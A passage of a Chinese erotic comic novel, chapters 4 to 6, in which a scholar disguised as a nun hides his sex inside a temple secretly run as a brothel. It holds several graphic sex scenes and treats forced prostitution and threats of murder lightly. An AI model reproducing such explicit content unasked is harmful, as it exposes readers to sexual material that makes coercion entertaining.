  「甚幺?」吴秀才几乎昏倒:「你们…」

  「我们这些尼姑,实际上就是妓女﹗」

  「到底怎幺回事?」吴秀才牙齿颤抖:「你快说﹗」

  「唉,」妙香长叹:「我本来姓陆,父亲也是名士,不幸早已去世,家道衰落。继母年轻,不能守寡,嫁给一个武官。他们要把我卖进妓院过皮肉生活,我不愿意,所以跑到斗母宫出家做尼姑。没想到这里也是火坑,祇是命中注定啊!」

  妙香泪水涟涟,吴秀才情不自禁一捶床板:「岂有此理,你怎幺不逃跑呢?」

  「下山要两三个时辰,还没跑到山下,就被打手抓回了。而且整个泰安县都得到斗母宫知会,凡有尼姑下山,一律抓回山上来,打入地牢…」

  吴秀才祇听得浑身冰冻:「那幺我…」

  「你现在是尼姑,也就是妓女,明天一早,老尼姑就会带你去见嫖客,到时候,就会识穿你是男人,这妓院是高度机密,来往的嫖客都是王孙公子,庵中为了保守秘密,一定要杀你灭口!」

  吴秀才彷彿被人一刀劈开头盖骨,又浇下一桶冰水,整个人全僵住了。

  这一夜,他和妙香彻夜不能成眠,互相搂抱,相对而泣…

  天明之际,二人急急忙忙穿上僧袍,梳洗一番,二人又是一阵热吻…

  「咚咚…」,一阵敲门声惊散了二人。

  老尼姑的声音在房外叫喊:「妙莲,去接客了!」

  欲知事后如何,且听下回分解。

  

  

  ——————————————————————————–

  第四回 情人被嫖 眼见凌辱醋意暗发

  「妙莲,去接客了!」

  老尼姑这声叫喊,隔着房门传入禅房内,把吴秀才吓得两腿发软。

  「糟了,她…她要我去…接…客,我…一接,不就露了馅吗?」

  吴秀才祇吓得面无血色,抱着妙香,上下两排三十六个牙齿捉对儿打架。

  妙香紧紧抱住心爱的郎君,一张小粉脸也吓得惨白。

  她明白这次的严重性﹕嫖客们全是男人,一旦吴秀才出去接客,他的男儿身份就暴露无遗。

  那些嫖客全是付了重金来嫖妓,现在嫖到个男人,一定心有不甘,闹将起来,吴秀才重则被杀减口,轻则被打入地牢做苦工,永世不见天日。

  他们两个吓得抱成一团,手足无措,不知如何是好,一时间忘了老尼姑还在门外。

  老尼姑在门外猛敲门,同时扯着喉咙大叫:「喂,你们两个耳朵聋了?快开门!」

  老尼姑又是一阵猛烈的捶门声。

  妙香始终是见惯世面,咬紧牙关,推开吴秀才,走到门前,打开门闩。

  老尼姑推开房门,跨入禅房内,目光炯炯地注视着妙香和吴秀才。

  妙香和吴秀才都已穿上僧袍,两人垂着双手,并肩站在床前。

  「为甚幺迟迟不开门?嗯?」老尼姑沉着睑,打量着二人的脸色。

  吴秀才这时连气都不敢喘,要他说话更是不可能,妙香祇好上前一步:「师伯,我们两个昨夜参『欢喜禅』,一时喜欢,很迟才睡,所以早上起不来…」

  老尼姑一听,突然『格格』一笑,上前两步,走到吴秀才的面前,上下打量着他。

  吴秀才被老尼姑看得心中直发毛,不知道老尼姑是不是看出了他的破绽。

  他装着害羞的样子,低垂着头,两手紧紧地扯着衣角。

  「哈…你骗得我好苦啊!」

  老尼姑冷不防仰天大笑,冒出了这幺一句话。

  这句话可差点把吴秀才的胆都吓破了。

  「坏了,我暴露了!」吴秀才祇觉得眼前一黑,彷彿已经被老尼姑抓住衣襟,抛入地牢似的。

  「哈…妙莲,」老尼姑笑着说:「你剃度的时侯,我心中就想着,这女孩子眉目端庄,要逼她做妓女,恐怕要费尽九牛二虎之力。没想到,昨夜我在天窗偷窥,你和妙香参『欢喜禅』的浪蕩样子,简直就是个天生的骚货。这下好了,我不用操心了…」

  老尼姑一席话,吴秀才心头一块大石总算落了地。他立刻提着嗓子,害羞地说﹕

  「奴家在婆家的时候,丈夫便是个流氓,整日缠着奴家,求那云雨之欢。奴家早已习惯这回事了…」

  吴秀才厚着睑皮说着,在一旁的妙香听了,不由得两颊绯红,不好意思再听了。

  老尼姑这时却笑得瞇着限睛:「好,好,难得你喜欢这玩意儿,太好了。妙香,有没有告诉妙莲,我们这个斗母宫,其实别有洞天,另有乾坤呢?」

  「是,小尼已经说了。」

  老尼姑这时亲热地搭着吴秀才的肩膊,口沫横飞地吹嘘着:「妙莲啊,前来我们这斗母宫寻掀作乐的男人,可不比普通妓院的嫖客。来这里的全是达官贵人,王孙公子,非富则贵。你小心服侍他们,金银滚滚而来,固然不在话下,说不定你讨得哪位老爷欢心,他替你赎了身,把你娶回家去,你就是朝廷命妇了。哈…」

  「是,是…」

  吴秀才唯唯诺诺,被老尼姑摸着他的肩膀,彷彿浑身长刺,坐立不安。

  「好了,妙香,」老尼姑把吴秀才推到门口:「你现在就带妙莲去準备一下,客人很快就到了。」

  「是。」

  妙香施了一礼,便急急忙忙扯着吴秀才的衣衫,走出了禅房。

  斗母宫的内堂,宽敞明亮。吴秀才跟随妙香跨入之时,堂上已坐着一群尼姑,个个又年轻又漂亮,大家坐在梳妆台前,对着镜子,精心地画着黑黑的眉毛,红红的胭脂…

  除了头上光秃秃之外,她们和普通的妇女几乎没有什幺分别,大家嘻嘻哈哈,妖娆风骚。

  吴秀才看见这幺多绝色的尼姑,一时间也眼花缭乱。

  妙香扯着他,来到一张梳妆台前,二人并肩坐下,妙香把一盒胭脂膏推到吴秀才面前:「快些打扮吧,被老尼姑看见,又要打骂了。」

  吴秀才在上山之前,已经学习过女流的梳头、化妆之术,所以用起眉笔、粉盒、胭脂来,倒也头头是道,不至露出马脚来。

  妙香坐在一旁,自己一边化着妆,一边偷看镜中的吴秀才。

  吴秀才长得本来就英俊,再加上涂脂抹粉,更加明艳照人。

  祇见他黑黑眉毛含黛影,两腮红润泛光,犹如杨柳迎风,雨润桃花,双目有神,清如秋水。

  「郎君,」妙香忍不住挨近他身边,小声地说:「你这一打扮,简直比女人还像女人,我看了都不禁心动呢!」

  「在这等时候,你还有心情开玩笑?」吴秀才一边涂着嘴唇,愁眉苦脸道:「化好妆,就要去接客,我的心砰砰直跳,几乎要昏厥了!」

  听了这话,妙香也切动心事,不由得微微叹了一声:「到了这地步,唯有见步行步了…」

  「妙香、」吴秀才低声说:「我们不如逃走吧!」

  妙香浑身一震,连连摇头:「你别看斗母宫看来全是尼姑,一无防备。其实宫中聘请着一班武功高强的江湖人马,严密守卫。如果有尼姑未经同意,私下出宫,立刻格杀勿论。你千万别再想逃走的事,千万不行啊﹗」

  吴秀才本是个读书人,听到这话,祇吓得浑身冰凉,呆若木鸡。

  「走吧,该接客了。」

  妙香说着站了起来,带着有气无力的吴秀才穿出内堂,来到庭院。

  庭院的边上,有一方池塘,很宽阔,白莲红菱,点缀其间,塘的边池种很多荷花,正在开放,白白红红,绚挺多彩,好像锦绣屏风。

  妙香带着吴秀才去到石头栏杆前,拿起放在栏杆上的一支鱼竿,理好鱼丝、垂钩钓鱼,神态悠闲。

  「妙香,」吴秀才莫名其妙:「不是说要我们要接客吗?怎幺跑到这儿钓鱼了?」

  「这就是斗母宫比普通妓院更胜一筹的地方」妙香一边垂钓,一边回答:「所有的尼姑都分散在宫中各个风景优美的地方、或养花,或钓鱼,或弹琴,或刺绣,嫖客们则在宫中自由活动,自由结识尼姑…」

  话未说完,一鱼咬钩钓起,浑身金灿灿的鳞,很重,钓竿几乎要架不住,妙香把鱼扔进桶里,鱼还『扑扑啪啪』地乱蹦乱跳。

  一阵掌声突然在二人背后响起,吴秀才回头一看,一个年轻的公子拍着掌走来。

  「两位仙姑果然是别有情趣,别有韵味。」

  吴秀才知道这个人就是嫖客了,心想可别让他挑中了急忙低下头,扮出一副害羞的样子,转身望看池塘。妙香赶快站起来,堆着笑脸,挡在吴秀才的身前,希望自己的姿色可以吸引嫖客。

  「这位公子,尊姓大名?」妙香为了打救吴秀才,便便出浑身解数,扭着腰肢,一副风情万种的样子。

  「在下姓朱。」

  「哦,原来是朱公子。」

  妙香说着,身子已经挨到朱公子身边,屁股不停扭着,在朱公子身上磨擦着。

  朱公子微笑着望着妙香,一手搂着她的肩膀,另一手大胆地伸入她的僧袍内,在她隆起的山岗上来回揉捏着,用力握着…

  妙香满脸通红,心中却暗自高兴,看起来这朱公子已经喜欢上自己,暂时总算解了吴秀才的围了。

  「朱公子,」妙香装出淫蕩的娇喘:「我…我被你弄得浑身骚痒了,咱…咱们进房去吧?」

  朱公子勾着妙香的下巴,笑着亲了一嘴:「你可真是一个骚货!」

  「朱公子,」妙香娇嗔地捶着朱公子的肩:「别笑我了,快进屋吧!」

  妙香急着要和朱公子上床,以免吴秀才露出破绽,便将脸贴着朱公子的脸,挨挨擦擦,阵阵香气直扑入朱公子鼻中,使得他不由得意马心猿。

  「好,咱们进屋吧,」朱公子又吻了一下妙香。

  附身在澜杆上的吴秀才一听这话,心中不由大叫『阿弥陀佛。』

  以为这一劫又逃过了,没想到朱公子抱着妙香走了两步,突然停步,回身望着吴说道:「咱二人享乐,冷落这位仙姑也不好,这样吧,你也来,等我弄完妙香,再给你一个痛快!」

  吴秀才暗暗叫苦,但又没有法子违抗客人的命令,祇好垂着头,说了声「多谢朱公子。」

  朱公子一把又搂着吴秀才,在他的粉脸上『啧』的一声,亲了一个响嘴!

  这是一间布置得像新婚洞房那般的房间,张灯结彩,床上铺着大红的绸缎枕头和被面。

  朱公子一手搂着妙香,一手按着吴秀才,走了进来,他的手不停地在吴秀才的屁股上抓着…

  妙香见势不妙,立刻伸手解一自己的僧袍,希望用自己的裸体来转移朱公子的注意力。

  果然,吴秀才立刻觉得自己屁股上那只手掌停下不动了。他侧首一瞟,祇见朱公子两眼发直,嘴巴张得大大的,呼吸也变得粗重了…

  妙香何等机灵,见朱公子这般模样,知道他已上钓,立刻扭一扭腰肢,躺到绣床上去,将两条又白又嫩又修长的秀腿,高高翘起,微微分开…

  朱公子顿时全身燥热难熬:「妙莲,快!替我宽衣!」

  吴秀才巴不得地这句话,立刻伸手将他全身衣服脱得一丝不挂。朱公子低吼一声,迫不及待地爬上床去,分开妙香的双腿,狠命地压了下去…

  「好哥哥,轻一些…」

  妙香故意发出了诱惑性的淫叫。朱公子哪里肯轻一些,他越发挺起长怆,一下下都用力顶入,拚命冲刺…

  妙香伸出两条大褪,白蛇般地盘了朱公子的腰肢,随着他的动作,一夹一放,一紧一鬆…

  「好公子,好哥哥…」妙香的浪叫声越来越响了:「你…你弄得我…成仙了…」

  可怜的吴秀才站在一边,眼睁睁看着自已的心上人,被一个下流的嫖客疯狂凌辱,耳中不停传来妙香阵阵呻吟,声声淫叫,也不知她是真是假,心中可真不是滋味。

  朱公子却被妙香那阵销魂蚀骨的叫唤刺激得慾火旺炽,他抓起妙香的两褪,分开搁在自已肩上,然后深呼吸几下,猛然压去!

  长枪飞舞!水花四溅!绣床摇撼!妙香的防线全线崩溃…本来她想诱惑朱公子早些弃甲投降,故意发出淫叫,现在,却被朱公子深入腹地,盘根索底,一阵猛攻,全身有如虫行蚁蚀,无比舒畅,阵阵淫呼浪叫发自肺腑,她真希望朱公子再弄下去,弄久一些

  「好公子,亲哥哥,」妙香摇晃着光头,嘶叫着:「用力!更用力些!再深一些!妹妹要死了…」

  绣床上翻起狂涛巨浪,两只白羊在床上扭成一团,颠簸翻滚…吴秀才直看得醋劲大发,牙关紧咬。

  冷不防,朱公子在床上直起身来,指着吴秀才大叫:「我发现你的破绽了,你是男的!」

  欲知后事如何,且听下回分解。

  

  

  ——————————————————————————–

  第五回 移花接木 妙香施计巧救情郎

  话说吴秀才眼睁睁看着自己的心上人妙香,被朱公子百般蹂躏,正在难熬之际,却听得朱公子突然在床上直起身来,指着他大叫:「我发现你的破绽了!你是男的!」

  这一叫唤,不仅吓得吴秀才瞻破心裂,就连慾火焚身的妙香也吓得魂不附体。

  「你…你…」吴秀才牙齿打着头:「你说甚幺?」

  朱公子嘻嘻一笑:

  「别再隐瞒了,我看见了,你是男的!」

  吴秀才祇觉得眼前一黑,几乎要昏倒,他求助地瞟了妙香一眼,希望她赶快想个办法。

  妙香面上一丝血色也没有,她强颜镇定,颤抖着问:「朱公子,你看见甚幺了?」

  「内裤!」

  朱公子用手指着,吴秀才急忙低头一看,原来他不小心,身上的僧袍带子没繫好,衣衫鬆了开来,一条白雪似的大腿露了出,大腿的尽头,露出了一角蓝色的内裤…

  「你看,我说的没错,她的内裤的确是蓝的!」

  吴秀才听到这里,心头一块大石才落了地,原来朱公子并不是说他是男的,而是说他的内裤是蓝的!

  他抹了一下额上的冷汗,扮出一副羞人答答的样子,垂着头,赶快把自己的僧袍繫好。

  妙香这时也鬆了一口气,脸上的血色却尚末恢复,两手紧紧抱着朱公子,仍然心有余悸地微微头抖着。

  「喂,蓝裤子的,」朱公子嘻皮笑脸地淫笑着:「快些过来,服侍我吧。」

  吴秀才不明白他在说些甚幺,一时愕住了,不知道如何回答才好。

  妙香见状,急忙陪着笑脸替他解围:「朱公子,我们这位妙莲妹妹,是昨天才入寺的,要她在光天化日之下做这种事,总是不太习惯…」

  「哦?」朱公子听了这话,更兴趣地打量着吴秀才:「原来是第一次出来接客?」

  「是啊,」妙香依偎着朱公子:「您多多包涵…」

  「好,」朱公子爽快地捏了一下妙香的粉脸:「既然有妳替他讲情,那我就先不嫖她了…」

  妙香和吴秀才都没想到这一关居然这幺轻易就渡过了,二人互视一眼,正在暗暗庆幸,没想到朱公子又冒出了一句:「我现在不嫖她,等到晚上再嫖她!免得她睑皮薄,不好意思…」

  朱公子尽了兴,下了床,穿上衣服,施施然走出房去,外面自然有人摆下酒宴,热情招待他,不在话下。

  房中,祇剩下妙香和吴秀才,二人面面相觑:「坏了,他晚上还是要嫖我,一嫖就露出马脚了,怎幺办哪﹖」

  「你问我,我也没办法呀?」妙香无可奈何地下了床:「反正今天白昼可以躲过去了,晚上的事晚上再说吧﹗」

  说着,妙香起身下了床,她的身上仍然赤条条一丝不挂,露出个美妙的胴体…

  要是在平常,吴秀才早就性慾大作了。可是,现在大难临头,真是食龙肉都没味,哪有心情再欣赏妙香的绝代姿色呢。

  妙香下了床,拿起堆在架上的衣服,穿了起来。

  她拿起了自己的内裤,那是一条红色的绸缎的短裤。

  吴秀才看着短裤,心中突然想起一件事,立刻拉着妙香的手问道:「刚才那位朱公子说我是穿蓝裤子,好像语气古怪,这其中难道又有甚幺…?」

  妙香点了点头,表情沉重牠说:

  「斗母宫的妓女分两种,一种是穿红色内裤的,另一种是穿蓝色内裤的。」

  「这表示我是寺中的常驻妓女,祇是陪客人耍乐,出买色相而已。」

  「那,穿蓝色的呢?难道不是妓女?」

  「蓝色也是妓女,但表示这是个準备出售的妓女,如果客人嫖了一夜,觉得合适,就可以出一笔钱将这妓女买走。」

  吴秀才一听,不由得浑身一震:「坏了,朱公子晚上就要嫖我,我怎幺辨呢?」

  妙香一边穿着衣服,一边咬着嘴唇,默默地思表着,一声不吭。

  吴秀才站在一旁,心中焦急,但又不敢出声催促,生怕吵乱了妙香的思路。

  妙香把全身的衣服都穿好了,又缓缓地繫上了腰带,突然,她的眼睛一亮:「我有办法了!」

  于是妙香把吴秀才拉到床边坐下,低声地说出了她的妙计…

  天上满布着云,星也不见,丝毫物影也没有,夜在高矗的岩峰和挺拔的松树之上,撒开了一张黑色的大网,笼罩着整个斗母宫。

  吴秀才沿着走廊走着,他要去朱公子的卧室中『接客』。

  这一接就要暴露他的身份了,但是他却无法躲避这个遭遇,因为老尼姑亲自在他后面押着。

  「这位朱公子来头不小,」老尼姑向他介绍着:「你好生侍候他,如果讨得他欢心时,说不定把你赎出去,当个妾侍,你就荣华富贵,享之不尽了…」

  「我知道了。」吴秀才提着嗓子答应着,他的眼睛不停地朝花园中瞟着。

  花园中,一丛丛的花草树木,在黑夜中,更加暗淡朦陇,妙香穿着一身黑色僧袍,躲在花丛后,悄悄跟纵着吴秀才…

  迎面一座雕梁画栋的独立楼阁,张灯结彩,一派喜气洋洋。

  吴秀才看过几间嫖室,都没有这间如此的富丽堂皇。

  「可见朱公子一定是个不简单的人物。」

  吴秀才正在想着,老尼姑已经拍着他的肩膀,指着二楼一个亮着灯光的窗口说道:

  「朱公子就在里面,你快些上去吧。这褛阁再没有别人了,你可以不必害羞,尽情浪叫,迎合朱公子吧﹗」

  老尼姑说着,发出一阵『咯咯』的笑声,便转身走了。

  吴秀才提心吊胆地走上褛梯,又回过头来,向花园中一望,天色很黑,伸手不见五指…

  「不知妙香跟来了没有?」他想着,心中不由一阵紧张。

  「妙莲,你楞着干甚幺?」花园中传来了老尼姑严厉的斥责声!

  吴秀才吓了一跳,赶紧垂着头,跑上了二楼,敲开了朱公子的房中。

  朱公子早已在房中等候,门一开,他就抱着吴秀才,亲了个嘴:「妙莲姊妹,你今晚特别漂亮!」

  原来,吴秀才来此之前,老尼姑便逼着他再化妆一次,眉也加黑,胭脂加红,化得更加娇艳,在灯光下一看,真的是一个俊俏的小尼姑。

  朱公子似乎有些喉急,伸手便去解吴秀才身上的衣带,才拉了一半,吴秀才便扮出害羞的样子,抓住朱公子的手一捏。

  「朱公子,人家…」

  这一捏,朱公子的身立刻酥嘛了半边…

  「小师姑,你想说甚幺?」

  吴秀才扭着腰肢,吞吞吐吐地说:「小女子本是良家妇女,送入斗母宫,方才被逼为妓,今天是首次接客,难免羞愧…」

  「嗯,你想怎幺样﹖」

  「我想,这里灯烛辉煌,要我脱得精光给男人看,实在是很难堪。」

  「哦,我明白了,」朱公子一笑:「你希望熄了灯,再陪我上床,是不是﹖」

  「朱公子真是体贴,」吴秀才娇笑着:「请先上床,等我来熄灯。」

  朱公子是个享受惯的人,于是倚在床上,笑吟吟地望着。

  吴秀才鬆开了自己的衣带,解开憎袍,露出一件粉红色的肚兜,肚兜下,他早已悄悄缝垫了两团棉花,在烛光飘忽之下,若隐若现。

  躺在床上的朱公子是春情勃发,哪里看得出破绽?

  吴秀才扭着屁投,走到桌前,吹熄了两支大红腊烛,房中祇剩下一盏小小的油灯,放在墙角。吴秀才回眸向朱公子一笑:「朱公子,熄了灯,黑暗中你想怎疯狂都行…」

  「小浪货,你可真会搅气氛,」朱公子躺在床上淫笑着:「搅得我心理痒痒的。看起来,你比妙香更懂得男人的心理﹗」

  吴秀才矫笑一声,走到墙角,故意让僧袍滑了下来,露出整个赤裸的背部和肥大的屁股,又白又嫩,圆滚丰满,比妙香真是有过之无不及…

  「快些!」朱公子眼睛看得几乎掉下来:「快上床来!…」

  吴秀才又向他抛了一个淫蕩的媚眼,然后一口吹熄了油灯,房中顿时一团漆黑,伸手不见五指。

  吴秀才悄悄走房门边,把门拉开,躲在门外的妙香赶快闪了进徕。

  黑暗中,朱公子听到门声,觉得奇怪:「妙莲,你开门干甚幺?」

  「哦,没有,」吴秀才笑着:「我祇是检查一下房门闩好了没有,免得让别人闯了进来,不好意思…」

  「你的花样可真多,」朱公子心痒难熬:「别的尼姑都是淫蕩得出汁,唯有你一副羞人答答的样子,我最喜欢这种情调了…」

  在他们一问一答之际,妙香早已悄悄脱光了全身衣服,爬上床去。

  黑暗中,朱公子迫不及待地搂着她,一阵狂吻,妙香生怕露出破绽,不敢出声,祇是把嘴唇紧紧贴着朱公子,一条舌头早已伸入他的口中,翻滚乱搅着…

  朱公子两手在她全身上下摸索着,祇觉得触手奇滑,摸起来有一种奇妙的感觉。

  「原来,黑天暗地嫖妓,更加有趣!」朱公子淫笑着,一个翻身便骑到妙香身上,分开她的双腿,便盲目地横冲直撞…

  妙香急忙用手扶着他,纳入正轨,然后双腿架在他的后腰上,纵情晃动起来…

  朱公子虽然早晨刚刚嫖过妙香,但是在一片漆黑中,他把她当成妙莲,脑子里充满奇妙的性幻想,交接起来,更加舒畅百倍…

  「妙莲,」朱公子气喘吁吁,一没不停地撞击着:「你比那个妙香,更有情趣…」

  妙香咬着嘴唇,心中偷笑。她的鼻孔哼出了阵阵美妙的呻吟,小腹中,久经训练的肌肉有节奏地收缩着,像雨点般般打着朱公子…

  朱公子从来没听到这种『阴功』,祇觉得浑身骨节酥麻无比,全身血液加速运行!

  「我不行了!」朱公子喘着气:「我要射死你!」

  拚尽全力,撼山摇树,倒海翻江,掀起滔天巨浪,澎湃而出…

  浪潮平息了,朱公子软绵绵地躺在床上。妙香下了床,又悄悄溜出门去。

  站在门边的吴秀才这才点着油灯,扮出一副性交后的浪态,和朱公子互视蕩笑。

  一场移花接木的性游戏天衣无缝地完成了,吴秀才和妙香回到自己的禅房。

  次日,二人正在笑着议论昨晚的事,突然看见老尼姑跨入房中,满面春风地向着吴秀才行礼。

  「恭喜啊,妙莲!原来这位朱公子不是别人,正是当今皇上的十三王子,他很喜欢你,出了重金,把你买下了!」

  「甚幺?我…?」吴秀才张口结舌。

  「你现在就是王子妃!御林武士已经在前殿等候,今天就要把你接到皇宫去了!」

  吴秀才大惊失色,不禁暗暗叫苦,欲知事后如何,且听下回分解。

  

  

  ——————————————————————————–

  第六回 痴男怨女 奇缘巧逢终成眷属

  话说吴秀才和妙香巧妙地偷梁换柱欺骗了前来嫖妓的朱公子,正在暗暗庆幸。

  没想到这个朱公子竟然是当朝皇帝的亲生儿子…十三王子!

  十三王子尝到了黑暗中妙香高超的性爱技巧,是皇宫中那些嫔妃所无法比拟的,他以为这是『妙莲』的『妙』处,便付了一笔钱,将『妙莲』买了下来,带回宫中去,等她还俗,纳为嫔妃。

  身为『妙莲』的吴秀才听到这个消息,好比听到死刑判决,整个人吓得尿了出来。

  他冒充女人,在斗母宫中虽然危险,但有妙香从旁协助,总算可以瞒天过海,如果到了皇宫,守卫森严,宫女在旁,自己毫无援手,男扮女装的秘密一定暴露,这便是欺君之罪了!

  「欺君之罪,要杀头的。」妙香低声地提醒吴秀才。

  她的心中也很着急,但又束手无策,求老尼姑?当今王子的命令,谅她也不敢违抗的,说出真相?老尼姑为了保守斗母宫的秘密,一定将吴秀才杀掉灭口。

  「不如冒险逃跑吧?」妙香低声悄言,无可奈何,祇好出此下策。

  吴秀才眼睛滴溜溜的转了一下,便向老尼姑施了一礼:「师父,既然我就要当上妃嫔,一要多谢师父给我这个机会,我想在斗母宫中再逗留两天,宴请众姐妹,一来为道贺,二来联络感情…」

  吴秀才心中打着着如意算盘,祇要一到天黑,他就逃出宫去,泰山方圆十余里,找个荒野山洞,躲他十天半个月,等头髮长出来,就可以恢复男子汉身份了…」

  「唉…」老尼姑长叹一声,摇了摇头。

  吴秀才莫名其妙:「师父,怎幺啦?」

  「朱公子…不,十三王子实在太喜欢你,所以派了御林军武士来,要你立刻就启程进京,一刻都不準拖延,否则就要烧毁斗母宫。…」

  吴秀才暗暗吃了一惊。

  「那好吧,我回去收拾收拾行装。」吴秀才说着,走出房门,不料房门外就站着两个雄纠纠、气昂昂的御林武士!

  「皇宫中什幺东西没有?娘娘又何必收拾行装﹖」武士很有礼貌,但又态度坚决地阻止吴秀才。

  「是啊,妙莲,」老尼姑在他身后笑着:「皇宫中黄金白银,山珍海味,真是荣华富贵,享之不尽啊!」

  「娘娘,请上轿吧!」武士们催促着。

  吴秀才不由得六神无主,茫茫然回头望着妙香。

  妙香纵有三头六臂,此时也束手无策了。

  她祇能眼睁睁看着自己的情郎,在武士的押送下,无可奈何地走了出去…

  他们来到前殿,这里早有一队御林军和两个宫女在等侯,见到吴秀才走来,大家一起跪了下来。

  「参见娘娘!」

  吴秀才一时手足无措,不知该如何回答才是:「你们…都起来吧。」

  「多谢娘娘。」

  众人起了身,几个宫女走到吴秀才身边,扶的扶,掺的惨,簇拥着吴秀才,那队御林军随即前呼后拥,将他保护得水洩不通。

  吴秀才拚命回头,祇见妙香站在大殿的柱子边,正偷偷地用衣袖拭着眼角的泪水…

  他此时身不由己,被宫女与武士包围着,缓缓离开了大殿。

  山门前,早已停放着一辆大红宫轿,吴秀才糊里糊涂被人扶入轿中。他隔着轿帘,向山门偷窥,妙香站在山门口,脸色白得像一张纸。

  轿夫们抬着轿子下山去了,山路琦岖不平,轿子一晃一晃…

  轿中,吴秀才不由流下泪来:「唉,要不是自己迷恋美色,男扮女装,今天也不会被王子选为妃嫔,今天晚上,王子一定要跟我睡觉,这一睡,我就原形毕露了,欺君大罪,五马分尸…」

  庭院深深,流水潺潺,皇宫中的御花园内,百花吐艳,真是人间仙境。

  一个云鬓高梳,满头插着金簪王坠的绝色美女倚在栏杆前,出神地望着满园春色,『她』就是吴秀才。

  自从她被选为王子妃嫔,来到皇宫之后,下知不觉已经过了三年多的时间了。

  三年来,他的头髮已经很长很长了,而他的男子身份却一直没有暴露出来,简直是一场奇蹟。

  原来,吴秀才被十三王子选为嫔妃之后,十三王子便叫人把他送入宫中,等待他的头髮长出来之后,再来跟他成亲。

  十三王子预计要几个月时间,头髮才能长够长,于是没有急于回京,而是继续在江南微服游览。

  十三王子是个好色之人,每到一处,例必光顾当地妓院。

  性生活太过频密,身体自然会有亏虚,加上江南地方湿热,水土不服,十三王子染上了重病,尚未回京,就在途中不治身亡了。

  吴秀才就这样避过一场大难。

  他住在宫中,没人来骚扰他,又有宫女服侍,生活上是极尽享受。

  但是,他仍然要保持女子的外表,无法恢复男子身份。

  皇宫大得像海洋,他连东西南北都分不清楚,更何况皇宫的守卫又是特别严密,要想逃出皇宫,几乎是跟飞上天空同样困难。

  于是,他就在提心吊胆之中,做了三年的女人,心中则是无时无刻不在想念妙香。

  这一天,吴秀才正在御花园中散步,突然间,有个太监走来,向他宣读了太后娘娘的御旨。

  原来,太后见十三王子病死了,担心『妙莲』一人独守空帏,在宫中难受,特地将『她』许配给今年的新科状元毛德彰为妻。

  吴秀才一听太后御旨,不由暗暗叫苦:「没想到平平安安躲了三年,现在大祸又降临了,嫁给状元为妻,自己男扮女装的事又要暴露了,这条欺君之罪仍是躲不过,自己的人头又保不住了。」

  但是,太后御旨就连皇帝也要遵从,不管吴秀才同意不同意,宫中的太监、宫女已经忙碌地张灯结彩,布置新房…

  半个月后,一个月圆之夜,大喜的日子来临了。

  吴秀才穿上霞披,戴上凤冠,打扮得十分艳丽,在宫女的扶持下和新状元拜了堂。

  洞房花烛,喜气洋洋。吴秀才坐在床沿,好像坐在钉板上。

  新科状元毛德彰坐在椅子上,似乎也不太急着要上前亲热。

  屋内静悄悄,两个的呼吸都听得清清楚楚。

  吴秀才一颗心紧张得几乎要跳出来。

  「待会儿上了床,新郎发现我是男的,他会不会大声呼救?如果我把真情告诉他,跪下来求他饶恕,他会高抬贵手吗?」

  吴秀才心乱如麻、坐立不安。

  身边祇听得新郎慢慢地向他走来,一步,一步…

  吴秀才的呼吸也随着新郎的脚步声,一起一落,急得几乎要昏倒了。

  新郎走到床边,望着新娘,伸手揭下遮盖着新娘面孔的大红丝巾…

  二人四目相对!新郎和新娘第一次见面了!

  两个人都愕住了!

  祇见毛德彰呆呆望春吴秀才,眼睛睁得大大的!

  「你!」这一叫使得吴秀才大吃一惊,定睛再看,他情不自禁叫了声:「妙香!」

  二人紧紧搂成一团,喜极而泣。

  吴秀才几乎不敢相信自己的眼睛:自己又一次幸运地逃过大难了!

  「妙香,你怎会女扮男装?又怎幺成了新科状元毛德彰了?」

  吴秀才急不及待地一看。炒香依偎在情郎怀中,眼角仍然挂着喜悦的泪花‧

  「自从捉你走后不久,斗母官就发生一桩惨案,一股强悍的匪徒沖入,抢掠财物和尼姑,放火烧毁了寺庙,我趁着混乱逃出魔掌,流落江湖,为了怕惹来狂风浪蝶,开头我便冒充是和尚,后来头髮长了出来,我就冒充书生,苦读诗书。今年参加考试,祇是觉得好奇有趣,没想到一帆风顺,居然考得个状元﹗」

  「幸亏你考了状元,」吴秀才笑着:「否则我要嫁给别人,原形毕露了!」

  「这都是天意啊!」二人紧紧拥抱,深深地接吻,彷彿要把三年来的相思之苦一吻而尽…

  吻着,接着,二人便觉得身上这身新服太阻碍了,于是,你替我脱,我替你脱,不一会儿,便脱得个精光。

  「妙香,我想参『欢喜禅』…」

  「哥哥,我也好想…」

  二人倒在床上,嘴巳仍素紧粘在一起,你的舌头伸了过来,我的舌头伸了过去…

  四条手臂交错在一起,你摸着高峰,我摸着巨树,你摸着深渊,我摸着那草地…

  四条大腿盘绞在一起,你紧紧磨擦,我频频挨碾,你大大分开,我高高翘起…

  两团烈火燃烧在一起,你烧得我满睑红涨,我烧得你大汗淋漓…

  烈火越燃越旺,一发不可收拾,几乎要烧毁理智,烧毁一切…

  二人在床上欢滚着,摇撼着,摇得那张坚固的大床也发出了『吱吱』的响声…

  压抑多年的感情,化成了无数次的冲刺,化成了坚挺的耸立,化成了泛滥的潮湿…

  欢乐的躯体,更得百倍的敏感,每一下搓摸,都百倍的快感,每一下抽动,都带来百倍的欢愉…

  积累已久的洪水在翻滚、沸腾。

  吴秀才紧紧咬着牙,强迫地关闭着那道闸门,洪水像海潮,一浪接一浪,一波推一波,沖击着闸门,然后又退去,储蓄着第二浪的攻势,接着便排山倒海而来!脆弱的闸门,终于崩溃了,汹涌的洪水从狭窄的通道飞驰而出,形成箭一般的水柱…

  「啊!…啊!…哥哥啊…」

  妙香祇觉得洪水沖击着她,包围着她,使她晕眩,使她昏迷,使她飘飘然然,使她成仙…

  高潮之后,洪水消退,激情消失,祇余下徵微的涟漪,轻轻地蕩着、蕩着…

  手儿在起伏凹凸的肉体上,无力地抚爱着,抹去小小的、晶莹的汗珠…

  眼儿望着眼儿,用欢乐、畅快的眼神,诉说着无限的爱意…

  口儿对着口儿,不是接吻,祇是低低地喘息着,互相感觉对方的气息…

  长夜漫漫,良宵苦短…

  野火烧不尽,春风吹又生!低垂的小褂,不知不觉,又充满了活力,逐渐挺立,昂首怒放…

  神秘的仙人洞,又泌出了细细的山泉,愤诉着饥渴和期待!

  妙香一个翻身,骑在吴秀才的上面,格格一笑:「别忘了我是新郎,你是新娘…」

  新郎自然要採取主动,妙香上鞍策马,先是一阵漫步,然后加快频率,变成小跑,然后驱动疆绳,变成疾驰,最后是疯狂加鞭抽打,疯狂地驰骋…

  不久之后,新科状元『毛德彰』被朝廷指派到广州任太守,『他』自然带着着『娇妻』上任。

